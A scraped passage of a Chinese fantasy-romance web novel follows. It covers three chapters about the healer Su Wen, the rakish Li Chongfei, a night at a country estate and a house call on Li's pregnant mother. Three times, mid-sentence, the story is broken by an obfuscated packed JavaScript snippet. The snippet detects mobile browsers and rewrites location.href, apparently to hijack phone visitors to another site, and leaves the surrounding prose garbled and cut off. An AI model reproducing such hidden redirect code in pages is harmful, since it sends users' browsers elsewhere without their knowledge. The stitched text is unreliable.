石水玉很快到了面前,她勒住马,在看到素问一行人时,脸上露出了然之色,也不再焦急,施施然跳下了马,道:“那些仆役说衙内被掳,我就奇怪他们怎么好意思坦白自己吃白饭的事,原来是掳到了素问跟前。”话说完,石水玉也到了跟前,她看着李重琲的呆模样,一阵好笑,“何事如此惊讶?” 李重琲呆呆答:“你会骑马?” 石水玉淡淡道:“原先不会,今日着急赶路,逼得自己赶紧学会了,其实真骑起来,倒也没那么难。” “确实不难,但马若是控制不好,送了命也是有的。”李重琲笑嘻嘻,“你这是为我豁出性命了?” 石水玉冷笑:“好大的脸面,你想得美!” “我也觉得不是,不过还是承你好意。”李重琲说罢,俯身作了一揖,起身后转向素问道,“我没有马,身上还有伤,只能跟着你们坐马车了——石小娘子毕竟是女子,不如方医师来骑马,我们四个坐马车?” 爰爰正要答应,石水玉道:“你坐车辕还差不多。” 素问点头:“我们三个坐马车里,再多一个就有些挤了,车辕位置很大,你和车夫坐一起便是。” 李重琲嚎道:“我有伤!” “方医师腿伤也没有痊愈。”素问说着,看向方灵枢,当真担心起来,提议道,“不如你也去坐马车,我来骑马。” 方灵枢接过石水玉的缰绳,温声道:“没事的,马车行不快,我慢慢跟着便是。” 李重琲看着他们俩旁若无人地商量,怨气四散。 石水玉看了一圈下来,最后目光落在李重琲身上,顿了片刻后,到底还是什么都没说,转身先上了马车。李重琲注意到石水玉的动静,看着她钻进车厢,一回头,发现方灵枢也上了马,素问正在往马车方向走,他只得跟过去,将爰爰和素问扶上了马车,再往里一看,果真没有位置了,只能憋屈地坐到了车辕上。 九皋山离洛阳城不远,但此时天色已晚,他们刚看到城门,便听更鼓响声遥遥传来,爰爰打开车门,远远一看,道:“阿姐,城门关上了!” 素问早知会赶不上,也不惊讶,只道:“去城门附近找个地方歇一夜。” 李重琲眯着眼看半天也没看清城门的开闭,不禁惊异地看向爰爰:“你眼睛能看这么远?” 爰爰咧嘴一笑,问:“是不是很厉害?” “小娃娃而已!”李重琲不以为然地说完,伸头进车厢,向素问道,“不必在城外留宿,你且看我的!” “你要叫开城门么?”素问淡淡道。 “那是自……”李重琲说着,不由停了下来——不该叫开城门,不能再给自己树敌,素问提醒过的。 方灵枢看了李重琲一眼,驱马靠近马车,道:“我大哥在城外有一处田庄,你们若是愿意,可以去借宿一晚。” 李重琲立刻想要拒绝:“不……” 石水玉的话说得更快:“好,多谢方医师。” 方灵枢笑了笑,看向素问,道:“大哥一家住在城里,来田庄也多在白日,庄子里除了几个管事的,没有别人。” 素问一愣,转瞬便明白了方灵枢的意思——其实她自己没有多想,只是在等着其他几人的意见,不过方灵枢这样说就更好了,毕竟方母来访之后,明月奴已经多有疑虑,若是再让他知晓自己与方家其他人见面,恐怕又生事端,实无必要。想到此处,素问便领了方灵枢的好意,温声道:“劳烦引路。” 一行人于是转了方向,往郊野方家田庄而去。这会儿天色有些发暗,乡间小路不好走,说起来也不大远,但他们愣是走到了掌灯时分才到。 方灵枢的大哥果然不在庄子里,只有两个管事的迎过来,在方灵枢招呼过之后,他们便各自去准备晚饭和热水,方灵枢则带领着素问他们到饭堂候着。 李重琲一路都没说话,此时坐下了,打量一遍四周简陋的布置,张口就想挤兑方灵枢一番,不想抬头看去,正见方灵枢起身将墙上的灯台取了下来,回来的时候停在了素问身边,一手持着灯台,一手拢着火苗,让素问可以借光看药单。 其实是很普通的场景,但在李重琲看来,暗黄的灯光只映照在两人面上,相视一笑间,默契尽显,在座的其他人在这一瞬间似乎都隐入了黑暗中,成了幕布。 李重琲呆了呆,片刻之后,闭上了嘴。 石水玉靠在椅子上,一直默默地观察着李重琲,见他少见地不战而屈于人,一时神色有些复杂。 那厢,素问放下纸条,叹道:“若是疫病无法彻底结束,雍王不放开用药一事,城里其他医者也会来采药,如今只有一个九皋山还能找到,但是入秋后草木凋零,迟早要采完的。” “此举非长久之计。”方灵枢将灯台放到桌上,道,“现在只是开始,若是时间久了,城里因缺药出了人命,恐怕会积起民怨。” 李重琲立刻回神,问道:“民怨?那岂不是对重美不利?” 方灵枢点头。 李重琲皱起眉头,思索半晌,嘀咕道:“依重美的性子不会想不到这些啊……诶?你们方才说何事激起民怨?” 素问沉默一瞬,将药材被拦一事道出。 李重琲听完,果断道:“这不是杀鸡取卵么?重美肯定不会做这种事!” 方灵枢道:“但此事确实打着雍王的名义,衙内得空还是提醒一番为好。” “这是自然!我明日就去找他!”李重琲说罢,想起对面是方灵枢,有些没好气道,“多谢。” 方灵枢淡淡一笑,见管事的站在门口,便将话题就此打住,吩咐人上菜。 晚间休息的时候,五人共分在四个房间,素问带着爰爰居中,两人熄了烛火后,爰爰很快便睡了过去,素问按平时的习惯在床上打坐,只是还未入定,忽然听到左边屋子传来一阵窸窸窣窣的动静,轻微的“吱呀”声响过,有人出了门。 片刻之后,动静从旁边屋子的门口转到了屋顶。 素问睁眼,往左上方看去,满是不解——大冷天的,李重琲为何坐在屋脊上? 没过一会儿,便有人发出了一样的疑问。石水玉也出了门,冲着屋顶小声喊道:“衙内——你在上面做什么?” “看——星——象——”李重琲答。 “……”石水玉很是怀疑,“你看得懂?” 李重琲笑而不答,指着旁边的草垛,问:“来不来?” 石水玉嗤笑一声,沿着草垛轻快而上,坐到了李重琲身旁。 “好身手啊。”李重琲竖起了大拇指。 石水玉不理会他,只道:“说罢,你到底为何上屋顶来?” 素问无意听人私隐,正要封闭耳目,李重琲的声音适时闯了进来—— “在想素问和方灵枢。” 素问:“……” 石水玉:“……” 李重琲道:“做什么这副神情?” 石水玉道:“你喜欢素问,不喜欢方灵枢,怎么会同时想他们俩?” 李重琲有些惊讶:“你看得出我喜欢素问?” “我若是看不出,你才应该惊讶。” 李重琲笑了一声,感慨道:“可惜啊,襄王有意,神女无心!” 素问扶额。 石水玉显然也是被噎住了,顿了片刻,认真道:“你一贯花心,别人也就算了,但不许你去玩弄素问的感情。” 李重琲急了:“我玩弄谁感情了?我对素问是认真的!” 石水玉嗤笑。 李重琲急于自证,向着星空并指起誓:“我李重琲对天发誓,这辈子非素问不娶,如有违背,天……” 一阵哗啦声响起,打断了李重琲的话,他往声音的来源看去,发现是几片瓦滑落,碎了。 素问收回手,盯着斜上方思索:若是李重琲继续起誓,她直接将房□□塌会不会伤到人? 好在石水玉及时开口,没让李重琲继续说胡话:“我明白了,你喜欢素问乃是单相思,她和方医师两情相悦,你这是自惭形秽了。” 素问皱起眉头,隐隐觉得自己不该听下去了。 那厢,李重琲气哼哼道:“我有什么好自惭形秽?他方灵枢不过仗着是个医者,能跟素问说得上话罢了。你等着瞧,我已经拜了素问为师,迟早有一天也能学会医治别人。” 石水玉笑道:“你若是以为自己和方灵枢的差距只是医术,那你永远也不会赢。” 李重琲闻言,忙问:“照你说,还有什么?” “我只说一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15297229|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,初见面时,你是什么形象,方灵枢又给素问留下了什么印象?” 李重琲沉默下去。 石水玉见状,继续道:“你这段时间的举动,可一点没能扭转这第一印象,素问能喜欢你就怪了。” 李重琲问:“那我改了就好了?” “我不知道。”石水玉淡淡道,“我不是素问。” “但你们同为女子,想法总归相似。”说到此处,李重琲灵机一动,问,“你有心悦之人么?” “没有。”石水玉冷冰冰地回答。 “可惜可惜。”李重琲感慨,“若不是素问在,说不定我会喜欢你,初见那日,我当真是看直了眼,惊叹世间怎么有如此貌美的女子,不过现在想想还是有些后悔,要不是色迷心窍,也不至于第一回就让素问看到我凶恶的一面。” 石水玉深吸一口气,没有说话。 李重琲看出石水玉的不悦,赶紧找补:“不过各花入各眼嘛,你这么好看,往后喜欢你的人有一大把,我这一个纨绔的喜欢又算得了什么?” “你早这么有自知之明就好了。”石水玉咬牙切齿道。 李重琲笑道:“那是,我……” “闭嘴!”石水玉忽然道,“有人来了。” 李重琲奇道:“这么晚了,谁会来?” 石水玉自然不知,不过答案很快就来了。马蹄声停在田庄外,片刻之后,前院有人来到客院这边,敲响了方灵枢的门:“三郎,大郎君来了。” 方灵枢很是惊讶,穿好衣服开门,他刚吩咐管事引路,方家大郎便已经迈入了客院。 石水玉和李重琲这会儿倒不好下去了,只能继续留在屋顶。 方轻春进院后,看见几间房都熄了灯,忙放轻了步子,来到方灵枢跟前,小声道:“叶医师也在?” 方灵枢顿时皱眉:“大哥哪里来的消息?” “阿娘说你们一道出城采药去了,我看这么晚还不回城,先去伊水附近找了找,没见到人,就猜到你们来田庄上——三弟不必紧张,我来是确认你们都安全,不为其他。” 方灵枢有些无奈,戳穿道:“我以前出城几日,也没见你找过我。” “不一样,不一样,母亲有令,岂敢不从?况且你嫂嫂也很是好奇,我不得不来呀!”方轻春拍了拍方灵枢的手,低声笑,“早在你让我给叶医师送诊籍的时候,我就该想到的,说来还是母亲有眼力,不过即便如此,你贸贸然将人带着夜宿在外,是否也有不妥?” 方灵枢顿时严肃起来,正色道:“我们此行是为采药,绝无他想!别人若是议论,你们应当为我们辩解一二才是,怎么自己也这般胡言乱语?素问是女子,又在外行医,若因我之缘故而遭人戏谑,灵枢百死难辞其咎!” 方轻春愣住,过了好一会儿,才讪讪道:“我们也没有到处说,这不是母亲实在喜欢她么?你也别想那么多……” “前有母亲贸然造访,今日你又深夜来探看,还要我怎么想?”方灵枢气极,话语也变快了许多,“不论其他,你且想若是二姐在素问的位置,你们愿意她这样被人对待么?母亲喜欢她,媒婆请不得?非要自己去别人家中送冬衣!街坊邻居谁瞧不见?素问一心行医救人,什么都没做,凭什么要承受这种坏名声的风险?” 方轻春“唉”了一声,连忙道:“你说得对,是我们想当然了,你有意,别人也未必有心,要因此拖累了小娘子,那当真该死!我这就走,以后再不会如此了!” 方灵枢深吸几口气,努力平复了心绪,才道:“城门早就关了,你去哪里?而且这么晚,骑马行路危险,大哥就在庄子上歇着罢,只是来看素问的事再莫要提了。” “诶,我记住啦!”方轻春一再保证后,才离开了客院。 方灵枢也关上了门,留下黑暗中几个偷听的人各怀心思。 爰爰不知何时醒了,她枕到素问的腿上,小声道:“方医师一贯好性子,还没见他有过这样大的火气呢!” 素问也不曾见过,更没有想到方灵枢对于方母寻自己的事会如此介意,她看着右面的墙,陷入沉思中。 不知过了多久,屋顶忽然传来石水玉幽幽叹息:“方医师是君子,心中再欢喜,也不敢唐突佳人,衙内你呢?” 没有人回答,屋顶的另一个人仿佛睡着了。 35. 无折树檀(五) 一夜过去,几人默契十足,绝口不提前一晚的事,好像一切都没发生过一样。 但其实还是有变化,就连明月奴都察觉到了,只是这样的情形正是他所希望的,因此对于这些变化,他选择视而不见。。 “方医师怎么都不来我们这儿了?”爰爰托着腮看向窗外,百无聊赖地拨了拨凌霄花的枯枝,叹道,“花也死了,唉。” 明月奴瞥了素问一眼,见她没反应,依旧专心地给病人诊脉,便道:“方医师本来也不怎么来,他要给人看诊的,你以为谁都跟李重琲一样闲?” 爰爰更加哀怨:“可是重琲哥哥也不大来了啊!” 明月奴嗤笑,正要说什么,忽然一顿,片刻之后,他冲天翻了个白眼:“说曹操,曹操到。” “谁?”爰爰立刻来了精神,“重琲哥哥?” 明月奴不说话,很快便有马蹄声替他回答,爰爰听出来人正是李重琲,原地蹦起,欣喜万分地迎了出去。 素问写完药方,因病人要自己去其他药房抓药,她便将方子交给对方,将人送出了门。 李重琲适时来到医庐门前,身后还跟着一辆甚是豪华的马车。爰爰站在马下,正在与他说话,李重琲从怀里掏出一个荷包递给爰爰,跳下马时,看见素问站在门口,连忙上前道:“草药被拦的事已经解决了,你买到了么?” “还没去过,但你既然这么说,想来是没有问题了。”素问温声笑道,“衙内费心了。” 李重琲一笑,有些赧然地摸了摸脑袋,道:“我也不过是传了句话,没什么。” 素问道:“你是专程来告诉我这件事么?” 李重琲这才想起自己的目的,忙道:“带消息是顺道,我想请你出诊。” 素问一愣,问道:“你家?” 李重琲点头。 素问略一思索,心道李重琲这是试探结束了,终于愿意让自己去为他家人治病了,便道:“好,我明日一早……” “现在可以么?你这里恰好也没病人了。”李重琲靠近素问,小声道,“有些急。” “下午有人约好要来的。”素问说罢,想了想,向明月奴道,“图师兄今日休沐么?” 明月奴点头:“今明两天他都在家。” “你去将他请来坐诊。”素问吩咐完明月奴,又向李重琲道,“等图师兄来便出发,等得及么?” 李重琲送了口气,忙道:“等得及!带我的马车去请他便是。” 明月奴也不客气,赶下车夫,驾着马车便走。 素问将李重琲请进屋坐下,自己则去给他倒水,等她转身回到桌边时,李重琲竟然还端端正正地坐着,素问不由得有些惊讶,问:“衙内有心事?” 李重琲有些茫然:“没有啊,怎么了?” 素问笑了笑,道:“无事。” “有事,有大事!”爰爰从李重琲所赠荷包里拿出一颗糖,举到眼前看,然后透过糖去看李重琲,疑惑道,“重琲哥哥,你今天好正经,甚至还给我带糖!” 李重琲有些不自在地挪了挪身子,清了清嗓子,道:“几粒糖,不必放在心上——说起正经,我一直都很正经。” 爰爰抿唇,无言以对。 素问看他们俩聊了起来,便独自到柜台后整理药箱,她刻意无视李重琲偶尔投过来的目光,等图南来后,稍稍交接一番,就坐上李重琲的马车,往宣风坊而去。 距离素问来到洛阳城已经三个多月了,李重琲从初见便看中素问医女的身份,但竟然能在一再试探后才请人过府问诊,也是沉得住气,不过从另一个方向想,那个神秘女子的病或许不重,因此素问并不大担心自己不能应对,在前院下了马车后,一路不疾不徐地跟着穿梭在屋舍回廊间,最终停在一间大院子前。 这恐怕是整个李府最大的院子了,但周遭竟然没有任何仆从靠近,进院后有一个年纪稍大的侍女迎了出来,行礼之后,也被李重琲挥挥手打发了出去,让素问不禁对里面病人的身份产生了些许好奇。 李重琲停在院中,紧紧盯着卧房虚掩着的门,脸上十分纠结。 素问安静地等在一边。 过了半晌,李重琲终于转身面对素问,正色道:“素问,我有一事相求。” 素问微微一笑,道:“保守秘密,对么?” 李重琲怔然,呆呆地点了点头。 素问温声道:“我早就答应过你的。” 李重琲松了口气,拍拍自己的额头,笑道:“是了,早早就说过的,瞧我这记性!” 素问一展手,李重琲会意,上前敲了敲门,里面没有应答,李重琲等了片刻,直接推开门,素问跟着进了门。 这些时日,素问偶有入贵人府中问诊的时候,因此这件卧房里的奢华装饰并未让她意外。病人靠在纱帘后的榻上,身上搭着被子,背对着外间,看不清模样,也分辨不出年纪。 李重琲请素问坐下,问:“能悬丝诊脉么?” 素问点头,补充道:“若是病症麻烦,可能还是要当面看。” “不麻烦。”李重琲果断道。 素问取出丝线,示意了一遍绑扎方式,然后将一头交给李重琲,等他进入纱帘后绑在病人的腕上,素问绷紧丝线,并指探脉。 正在这时,纱帘里忽然传来一个稍稍喑哑的女声:“你出去,我要单独与医师说话。” 李重琲杵着不动。 女子冷笑:“要我起身将你打出去?” 素问双指离开丝线,轻捻着手指,垂头不语。 李重琲叉着腰不肯动,女子作势要起身,他立刻嚷道:“得了!我出去!” 女子哼了一声,道:“滚远点!” 李重琲看了素问一眼,别无他法,气冲冲地摔门离开。 女子再开口时,语气变得腻歪歪的,仿佛与方才不是一个人:“小医师姓叶?” 素问点头:“叶素问。” 女子举起手腕,问:“怎么样?” 素问轻轻一抽,解了那头的线,淡淡道:“一切都好,看脉象已经临月,娘子可以安排稳婆了。” 女子问:“能打掉么?” 素问一惊,忙道:“这个月份自然不能打掉!” 女子笑了一声,又问:“若是他这样要求呢?” “那也不能答应!”素问不禁皱起眉头,“孩子已经成形,此时就算是生下来也有很大的可能活下去,而且打掉孩子对母体有害无利,你不想要,应当早早下决心才是,为何拖到现在?” “我想要,是他不想要。” 素问坚定道:“这会儿不是想不想的问题,必须得要!” “那有劳叶医师帮我劝一劝了。”女子说罢,忽然扬声喊道,“进来罢!” 片刻之后,李重琲推门进来,没理睬女子,先问素问:“怎么样?” 女子在里面补充:“他的意思是,不要这个孩子,但是要保母体平安,叶医师医术这么高,应该可以做到罢?” 素问看向李重琲,后者皱了皱眉,但是没有反驳,显然是默认了这个说法。负心男子始乱终弃的情节立刻出现在素问的脑海中,她今日对李重琲的改观纷纷被打散,不禁起身正色道:“既然不想要,就不该让它出现,既然出现,该早早发觉,好生处理,即便是我初来洛阳城,也还勉强有些机会,可是衙内你偏偏要多番试探,是你自己疏漏多疑以至今日局面,如今反倒要里面那位娘子冒性命之险,你怎可如此视人命如草芥?” 李重琲被说得哑口无言,几番想张嘴,最终还是闭上了嘴,顺道闭上了眼。 一阵沉寂间,里间忽然传了一声轻笑。 素问不明所以地看过去,问:“你笑什么?” “觉得稀奇呀,我活这么大年纪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307756|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还没见过你这样正色敢言的医女呢。”女子笑盈盈地说道,“琲儿,快将纱帘掀起来,让我瞧瞧这孩子的模样。” 素问眉头一跳——琲儿?妻妾会这么称呼自己的夫君么? 李重琲没有听从安排,硬邦邦道:“素问,我送你回去。” “你送。”女子悠然道,“送完我再派人去请。” 李重琲:“……” 女子见李重琲不动,干脆一掀被子,自己慢吞吞地起身走了出来。 素问站起身,打量着来人,不禁满眼疑惑:“你们……” “长得像,是么?我是琲儿的母亲。”女子笑眯眯地看着素问的反应,道,“外面的人都叫我玲珑夫人。” 素问喃喃:“玲珑……赵夫人?” “不然你以为我是他什么人?”玲珑夫人问。 素问沉默,绝不可能将自己方才的误解道出。 玲珑夫人摸着自己的肚子,笑道:“你自然好奇,这是谁的孩子?” 素问摇头:“不好奇。” 李重琲黑着脸:“这是什么值得宣扬的事么?” “也不是什么非得藏着掖着的事。”玲珑夫人来到素问面前,伸出的手上五指染红,轻轻一搭,落在了素问肩上,她自己则转到素问身后,声音甚是粘腻,“女人难道必须在一棵树上吊死么?如果你一生只有一个男人,他不行,你会以为男女之事就是这样,只有多去尝试,经历多了,才能领会其中的妙处。” 素问有些茫然,她感觉玲珑夫人在说一个大道理,但她却有些听不明白。 李重琲脸红得快要冒烟,他再听不下去,连忙拨开玲珑夫人,一手拎起药箱,一手拉着素问,直接冲出了院子,直到他们来到小径的尽头,李重琲才停了下来,他努力喘匀了气,却不敢回头看素问,只含糊道:“我母亲那样说……你会受不了么?” 素问这时已经想明白了一些,淡淡道:“不会啊,男人三妻四妾,换过来也是一样。” 李重琲一噎,连忙道:“不一样!” 素问奇道:“哪里不同?” 李重琲支吾半天,却不知该怎么说,最后只能气馁道:“自古便是如此,若是女子与男子相同,岂不是母鸡司晨?” 素问嗤笑:“衙内觉得女医也是牝鸡司晨么?” “啊原来那个字是牝……”李重琲打岔一瞬,连忙又回到正题,,“当然不是!素问怎么一样?” “哪里不同?”素问再次抛出这个问题。 李重琲语塞,不过仍旧坚持:“总之你不一样!” 素问冷淡一笑,抽出手,问:“你母亲有身孕,为何你非要打掉?官家不曾接你母子二人进宫,她重新找夫君不是理所当然么?” “没有那么简单。”李重琲叹息,纠结片刻,还是没有解释,只干巴巴道,“我还是送你回去罢。” “那倒不必。”素问婉拒道,“这里离医庐也不远,我走着回去便是。” “我……” “夫人的事我会保密,你不必担心。今日你匆忙而来,想来是因为夫人肚子疼,但方才从脉象来看,距离临盆应当还有一个多月,所以你也不必害怕,先将稳婆请回来就好了。在此期间,你们若是遇到难题,也可随时来找我。”素问说罢,感觉自己差不多都交代好了,正待告辞,忽然又想起玲珑夫人院子周围的禁制,又劝道,“别再想着打掉孩子了,如果你府上当真不能留,我可以抱走。” 李重琲一怔,转而失笑:“前有兰兰,后有未出生的胎儿,你当真要开善堂么?” “要真有需要的那一日,或许我会开。”素问说完,自己也笑起来,她冲李重琲叉手道,“这便去了,衙内不必相送。” 李重琲当真留在原地,只是眼里除了那道欣长的身影,再容不下其他,直到素影消失许久,小径才传来一声意惹情牵的叹息。 36. 无折树檀(六) 素问回到医庐时,爰爰和兰兰正在在门口大树下的石板上玩抓石子,树旁拴着一匹白马,马头上绑着一朵鹅黄小绒花,马鞍也很是秀致可爱,不像是男子所用。素问开医庐这么长时间,所见女病者多半是步行而来,少有的几个或是坐马车,或是请她去家中看,还从未见过有女子骑马来,她不禁有些奇怪。 爰爰玩一会儿便抬头看看,很快就发现了素问在往这边走,她连忙丢下石子迎过来,道:“阿姐这么快就回来了,想来重琲哥哥家眷病得不重。” “嗯,不重。”素问指着马,问,“是病人骑马来了?” “是水玉姐姐,她今日戴着帷帽,自己骑马来了,这会儿在里面聊天呢。”爰爰一边说,一边张望素问背后的方向,问,“重琲哥哥呢?他怎么不来?” 素问:“你找他有事?” 爰爰老实摇头。 素问淡淡道:“那还是不要念着了,你来洛阳城已有些时日,玩也玩了,逛也逛了,是不是该收心去修炼了?” 爰爰抿唇,垂着头跟在素问身后,过了片刻,忍不住小声嘀咕道:“我在修炼啊,明月奴有时候还会指点我,阿姐不信的话,去问他就知道了。” 素问脚步一顿,看向爰爰,问:“修心呢?” 爰爰这段时间已经想明白了,坦然道:“我只是想向重琲哥哥报恩呀,等报完恩,我便跟着阿姐,阿姐若是飞升了,我就回九皋山去,不用修炼得多么厉害,更不求什么得道飞升,修不修心的也就不重要了。” 素问一怔,沉默片刻后,只能道:“你不后悔就行。” 爰爰笑道:“阿姐放心!” 素问“嗯”了一声,示意爰爰看好还在河边的兰兰,自己则直接进了医庐。 屋里不仅仅有石水玉、图南和明月奴,元度卿也在其中,令素问惊讶的是,他们四个人竟然有说有笑,其乐融融。 见素问进来,四人暂停了谈天,图南问道:“衙内家怎么样?” “小毛病,不碍事。”素问说着,放下药箱,问道,“你们方才在说什么?老远就能听到笑声。” 元度卿笑道:“我们声音都不大,你如何老远听到?小素问又开始诈我们了!” 素问也笑起来,看向石水玉道:“好几日不见,你最近还好么?” 石水玉点头,道:“说起来,我们方才说的趣事与你有关呢,你听不听?” “我?”素问好奇一瞬,转而觉得可能不是什么好事,立刻摇头,“不听。” 石水玉笑道:“你不听我也要说!你猜猜,为何方医师这些时日都不来你这里了?” 明月奴方才显然已经经过了这一轮的吊胃口,默默地翻着白眼,不说话。 图南捧场道:“因为有个人执意要拜他为师。” 石水玉一拍手,看向素问,笑眯眯地问:“那个人是谁呢?” 素问:“……想来,就是另一个近日不大来我这里的人罢。” 石水玉道:“是不是很有趣?” 素问如实道:“确实很新奇,但是和我有什么关系?” 图南连忙接话:“我也觉得和素问无关,八成是李衙内自觉对不住方医师,又拉不下脸面来低头,便借着拜师学艺的名头去接近方医师,也不说学得怎么样,姿态够低了,又缴了束脩,岂不是一举多得?” 石水玉笑着摇了摇头:“或许有这个因由,但肯定只是一小部分,这一小部分的原因其实也与素问有关——李衙内横行洛阳城这么久,他向谁低过头?小小一个半钱医馆实在是无足挂齿,但是素问数次要求李衙内为曾经伤害方医师的事道歉,即便李衙内不愿直说,但是这段时间也在一步步妥协——就拿前些天出城相遇之后的事来说,李衙内都主动向方医师道谢了!” 素问淡淡道:“李衙内不是个孩子,他对方医师做出的改变是应该的,倒也不必如此赞扬。” 石水玉道:“这你就不懂了,世道就是这般,好人做一件坏事,那他以前做的好事统统都作废,人们只会因他做的坏事而唾骂他,但是坏人如果哪一天做了好事,人们就会赞不绝口了!” 元度卿煞有介事地点了点头:“浪子回头金不换。” 素问不禁皱眉。 图南叹道:“做得好,自然人们对你的期望就越高,登高跌重嘛!相反,做得不好的,大家对他不抱希望,有点成就出现,就会让人感到惊喜。” 石水玉点头:“所以李衙内只要稍稍改正,就会有一波人靠近他,甚至因为他的身份,还会有女子爱慕他,但是方医师……哪怕他永远不作恶,因为他一直很好,不会闹出麻烦,也就没有动静,所以不会有人注意到他。” “不是这样的。”素问抬眼,认真道,“很多人喜欢方医师,我也会一直看着方医师的。” 石水玉蓦然止住了方才的滔滔不绝,温和地看着素问,仿佛方才所有的话都是为了等素问的这一句一般。片刻之后,她柔声道:“这就是李衙内要去拜方医师为师的原因了。” 明月奴冷冷道:“胡说。” “我没有胡说。”石水玉坚定道,“在外人看来,素问眼中确确实实只有一个方灵枢,即便自诩无所不能的李衙内也不得不承认,他先前不明白,但是现在知道若是继续纠缠素问,会让素问的名声受损,所以他去找方医师,只要素问与方医师见面,他有八成的机会可以跟着,等他学会了方医师的医术,也许还能与素问有更多的话题!” 医庐里诡异地沉默了下来。 过了好一会儿,一个病者叩门问诊,图南摊开脉枕,轻咳一声,打破沉寂:“这样一听,此事就变得无趣了。” 明月奴点头:“图师兄说得对!” 元度卿老神叨叨:“真相多半都是如此无趣呀!” 病者满是疑惑地回头看了一圈,小心发问:“何事无趣?我没救了么?” “有救,只是积食了而已。”图南没有开药,叮嘱了几句饮食须得清淡一类的话,便将人送走了。 “这个病人倒是有趣。”石水玉说着,喝完茶,起身来到素问身边,道,“我今日来说这些,实在是看不惯李衙内横插一脚的行为,而且在座的都是自己人,所以说话没了顾忌,你会生气么?” 素问抱臂靠坐着,似笑非笑地看着石水玉,道:“若是你实话实说,我就不生气。” 石水玉:“……” 素问道:“你若是不说,以后也不要再拿我做幌子,否则我自然要生气。” 元度卿大惊小怪道:“哎呦!什么幌子?小水玉你难道对李衙内图谋不轨?” 素问对于元度卿称呼别人的习惯已经见怪不怪,不过她的话很是隐晦,元度卿听完能立刻察觉到石水玉目的所在,倒是让素问有些惊讶,不由得多看了他一眼。 元度卿看到素问的反应,当即摇头晃脑插起了腰:“项庄舞剑,意在沛公呐!” 话已至此,石水玉也不再否认,坦然道:“不错,我对李衙内有意,偏偏他一心只想追着素问跑,要是素问与他两情相悦,我自然要成全了,偏偏素问对他无心,既如此,我打碎他的好盘算,不是对众人都有利么?” 元度卿“唔”了一声,喃喃道:“好生有理啊……” 明月奴怒道:“有理个屁!我阿姐谁都不喜欢,你们想怎么折腾都随意,但是莫要将我阿姐牵扯进来!” 石水玉笑了一声,并不反驳,明月奴却感觉到了挑衅,偏偏素问一副若有所思的模样,也不帮他说话。 图南见状,连忙打圆场:“其实石小娘子此举不见得合适,人心——尤其是爱慕之心,哪里那么容易动摇呢?移情别恋就更难了。” “我知道,尤其是素问这么好,想要李衙内改变心意,就更加难了。”石水玉倚在窗边,叹道,“只是,我的心意也不由己呀……” 素问抬眼看她,想起七夕那晚的谈心,有些疑惑:喜欢李重琲这件事,当真是石水玉不由己的心意么? 仿佛知晓素问心中所想,石水玉目光从窗外的爰爰和兰兰身上收回,她冲素问一眨眼,笑道:“方才我们聊起的事可不仅限于此,你想知道元大叔的情史么?” “……谁?”素问呆了呆,猛地转头看向元度卿。 当事人甚是害羞地摆了摆手,道:“嗐!说什么呢?我一把年纪了,说这些做什么——不过说起我和小鱼呢,其实早在她知道我之前,我就已经对她一见钟情了。我得声明啊,是一见钟情,不是见色起意!遥想那日……” 石水玉掩唇偷笑,图南垂下头,明月奴一脸纠结,强忍着没有打断元度卿的话,但是等到元度卿停了话头时,众人都是一脸认真聆听的模样,明月奴甚至意犹未尽地问:“没了?” 元度卿笑眯眯地摸了摸胡子,道:“初见就是这样了。” 石水玉好奇道:“还有后续?” “想听的话,可以有。” 明月奴撇嘴:“当自己是酒楼的说书先生呢?” 元度卿脸色忽然变得有些莫测,胡子颤动了几次,才缓缓开口:“也未尝不可。” 素问脑子灵感一闪,起身道:“你们先聊,我去后院拿点东西。” 众人不疑有他,等素问走后,都开始追问元度卿接下来的故事。素问独自回房后,取出玉葫芦,一道白烟从葫芦里流出,落在地上,变成了妤再的模样。 素问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323120|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇道:“为何忽然找我?你休养好了么?” “魂魄不全,自然不好,但这些时日恢复了不少。”妤再身影飘飘落落,在房里兜了一圈,又回到素问跟前,问,“这是你在人间的居所?” 素问点头。 “真简陋,既然来人间一趟,为何不好好体验凡尘的一切呢?这样苦修有何意义?” 素问笑道:“也不是苦修,只是确实没有什么想要的。” “到底是仙体,不知寒暑、不饿不倦,这才无欲无求。”妤再摇了摇头,看着十分不赞同,看向素问的发簪,又问,“怎么还戴着?” 素问道:“不能摘啊,先前就说过的。” 妤再叹气:“你现在甘愿被束缚着,能摘却不摘,等哪天你再想摘,说不定就摘不下了。” 素问不解:“为何会有此想法?” 妤再摊手:“说不定你会想要就此遁入红尘之中呢。” 素问失笑:“若果真如此想,即便没有这木簪,只要我的法力还在,都会被师父捉回去管教。” 